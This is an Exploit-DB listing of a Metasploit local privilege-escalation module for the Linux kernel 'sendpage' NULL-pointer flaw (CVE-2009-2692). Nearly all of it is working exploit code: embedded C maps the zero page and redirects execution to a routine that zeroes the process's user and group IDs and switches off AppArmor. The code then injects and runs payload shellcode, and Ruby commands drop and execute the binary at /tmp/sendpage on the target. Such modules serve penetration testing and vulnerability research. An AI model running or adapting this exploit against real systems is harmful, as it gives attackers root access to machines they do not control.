Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - 'Sendpage' Local Privilege Escalation (Metasploit)

EDB-ID:

19933


Author:

Metasploit

Type:

local


Platform:

Linux

Date:

2012-07-19


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'

#load 'lib/msf/core/post/file.rb'
#load 'lib/msf/core/exploit/local/unix.rb'
#load 'lib/msf/core/exploit/local/linux.rb'
#load 'lib/msf/core/exploit/local/linux_kernel.rb'

class Metasploit4 < Msf::Exploit::Local
	Rank = ExcellentRanking

	include Msf::Exploit::EXE
	include Msf::Post::File
	include Msf::Post::Common

	include Msf::Exploit::Local::LinuxKernel
	include Msf::Exploit::Local::Linux
	include Msf::Exploit::Local::Unix

	def initialize(info={})
		super( update_info( info, {
				'Name'          => 'Linux Kernel Sendpage Local Privilege Escalation',
				'Description'   => %q{
					AKA Wunderbar Emporium
				},
				'License'       => MSF_LICENSE,
				'Author'        =>
					[
						'spender',        # wunderbar_emporium.tgz
						'rcvalle',        # sock_sendpage.c
						'egypt'           # metasploit module
					],
				'Platform'      => [ 'linux' ],
				'Arch'          => [ ARCH_X86 ],
				'SessionTypes'  => [ 'shell', 'meterpreter' ],
				'References'    =>
					[
						[ 'CVE', '2009-2692' ],
						[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ],
						[ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ],
					],
				'Targets'       =>
					[
						[ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
						#[ 'Linux x64',       { 'Arch' => ARCH_X86_64 } ],
					],
				'DefaultTarget' => 0,
			}
			))
	end

	def exploit
		sc = Metasm::ELF.new(@cpu)
		sc.parse %Q|
			#define DEBUGGING
			#define NULL ((void*)0)
			#ifdef __ELF__
				.section ".bss" rwx
				.section ".text" rwx
				.entrypoint
			#endif
			call main
			;push eax
			call exit
		|

		# Set up the same include order as the bionic build system.
		# See external/source/meterpreter/source/bionic/libc/Jamfile
		cparser.lexer.include_search_path = [
			"external/source/meterpreter/source/bionic/libc/include/",
			"external/source/meterpreter/source/bionic/libc/private/",
			"external/source/meterpreter/source/bionic/libc/bionic/",
			"external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
			"external/source/meterpreter/source/bionic/libc/kernel/common/",
			"external/source/meterpreter/source/bionic/libc/arch-x86/include/",
		]

		cparser.parse(%Q|
			#define DEBUGGING
			// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
			#ifndef __extension__
			#define __extension__
			#endif
			// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
			// Doing #if on an undefined macro is fine in GCC, but a parse error in
			// metasm.
			#ifndef __STDC__
			#define __STDC__ 0
			#endif
			#include <sys/types.h>
			#include <sys/mman.h>
			#include <stdarg.h>
			#include <stdio.h>
			#include <unistd.h>
			#include <errno.h>
			/*
			OpenBSD's strcmp from string/strcmp.c in bionic
			*/
			int
			strcmp(const char *s1, const char *s2)
			{
				while (*s1 == *s2++)
					if (*s1++ == 0)
						return (0);
				return (*(unsigned char *)s1 - *(unsigned char *)--s2);
			}
		|)

		[
			"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
			"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
			"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
			"external/source/meterpreter/source/bionic/libc/unistd/mmap.c",
			# This parses without any trouble, but actually calling perror() causes
			# immediate segfaults.
			#"external/source/meterpreter/source/bionic/libc/unistd/perror.c",

			# For some ungodly reason, NULL ends up being undefined when parsing this
			# guy, which of course causes parse errors.
			#"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",

		].each do |fname|
			print_status("Parsing c file #{fname}")
			cparser.parse(File.read(fname), fname)
		end

		print_status("Unix socket.h")
		unix_socket_h(sc)
		current_task_struct_h(sc)

		case target.arch.first
		when ARCH_X86
		print_status("syscall wrappers")
			linux_x86_syscall_wrappers(sc)
			main = %q^
#ifdef __x86_64__
#define PTR_FMT "0x%016x"
#else
#define PTR_FMT "0x%08x"
#endif

#define NULL ((void*)0)
#define DOMAINS_STOP -1
const int domains[] = {
	PF_BLUETOOTH,
	PF_APPLETALK,
	PF_IPX,
	PF_IRDA,
	PF_X25,
	PF_AX25,
	PF_BLUETOOTH,
	PF_PPPOX,
	DOMAINS_STOP
	};

int *apparmor_enabled;

int got_ring0 = 0;
unsigned long uid, gid;

static unsigned long get_kernel_sym(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[256];
	int ret;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL) {
			printf("Unable to obtain symbol listing!\n");
			return 0;
		}
	}

	ret = 0;
	while(ret != EOF) {
		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			printf(" [+] Resolved %s to %p\n", name, (void *)addr);
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	return 0;
}


static void
change_cred(void)
{
	unsigned int *task_struct;

	task_struct = (unsigned int *)current_task_struct();

	while (task_struct) {
		if (task_struct[0] == uid && task_struct[1] == uid &&
				task_struct[2] == uid && task_struct[3] == uid &&
				task_struct[4] == gid && task_struct[5] == gid &&
				task_struct[6] == gid && task_struct[7] == gid) {
			task_struct[0] = task_struct[1] =
			task_struct[2] = task_struct[3] =
			task_struct[4] = task_struct[5] =
			task_struct[6] = task_struct[7] = 0;
			break;
		}

		task_struct++;
	}

	return;
}

int __attribute__((regparm(3)))
own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)
{

	got_ring0 = 1;
	if (apparmor_enabled && *apparmor_enabled) {
		*apparmor_enabled = 0;
	}
	change_cred();
	return -1;
}

const char *shellcode =
"";
int shellcode_size = 0;

int main() {
	int i = 0;
	int d;
	int in_fd, out_fd;
	char *mapped;
	char template[] = "/tmp/sendfile.XXXXXX";
	int (*func)();

	uid = getuid(), gid = getgid();

	mapped = mmap(NULL , 0x1000,
			PROT_READ | PROT_WRITE | PROT_EXEC,
			MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
			0, 0
		);
	if (mapped == NULL) {
		printf("Mapped zero page!\n");
	} else {
		exit(1);
	}

	// jmp dword near [dword 0x8]
	mapped[0] = '\xff';
	mapped[1] = '\x25';
	*(unsigned long *)&mapped[2] = 8;
	*(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel;

	for (i = 0; i < 16; i++) {
		printf("\\\\x%02x", (unsigned char)mapped[i]);
	}
	printf("\n");

	for (d = 0; domains[d] != DOMAINS_STOP; d++) {
		//printf("Next domain ... ");
		out_fd = socket(domains[d], SOCK_DGRAM, 0);
		if (out_fd > 0) {
			printf("Got domain[%d]\n", d);
			break;
		}
		if (out_fd < 0) {
			printf("out_fd: %d, Errno: %d\n", out_fd, errno);
			exit(1);
		}
	}
	unlink(template);
	// Couldn't get mkstemp to work, just use open(2) for now
	in_fd = open(template, O_CREAT | O_RDWR, 0777);
	printf("Opened temp file: %d\n", in_fd);
	unlink(template);
	printf("Calling ftruncate\n");
	ftruncate(in_fd, 4096);

	printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0);
	printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096);
	sendfile(out_fd, in_fd, NULL, 4096);
	printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0);
	printf("UID: %d GID: %d\n", getuid(), getgid());

	func = mmap(NULL, 0x1000,
			PROT_READ | PROT_WRITE | PROT_EXEC,
			MAP_PRIVATE | MAP_ANONYMOUS,
			0, 0
		);
	mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
	// weaksauce memcpy so we don't have to #include <string.h>
	printf("Copying %d bytes of shellcode\n", shellcode_size);
	for (i = 0; i < shellcode_size; i++) {
		(char)func[i] = (char)shellcode[i];
	}
	printf("Calling shellcode: 0x%p\n", func);
	//sigtrap();
	func();

	return got_ring0;
}
^
			main.gsub!(/shellcode =/) do
				# split the payload into 16-byte chunks and dump it out as a
				# hex-escaped C string
				%Q|shellcode =\n"#{payload.encoded.scan(/.{,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"|
			end
			main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
			cparser.parse(main, "main.c")

			asm = cpu.new_ccompiler(cparser, sc).compile

			sc.parse asm
		end

		sc.assemble

		begin
			if sc.kind_of? Metasm::ELF
				elf = sc.encode_string
			else
				foo = sc.encode_string
				elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
			end
		rescue
			print_error "Metasm Encoding failed: #{$!}"
			elog "Metasm Encoding failed: #{$!.class} : #{$!}"
			elog "Call stack:\n#{$!.backtrace.join("\n")}"
			return
		end

		#puts Rex::Text.to_hex_dump(foo)
		File.open("payload.bin", "wb") {|fd|
			fd.write elf
		}
		print_status "Writing exploit executable (#{elf.length} bytes)"
		cmd_exec("rm /tmp/sendpage")
		write_file("/tmp/sendpage", elf)
		output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage")
		output.each_line { |line| print_debug line.chomp }
		#cmd_exec("rm /tmp/sendpage")

	end

end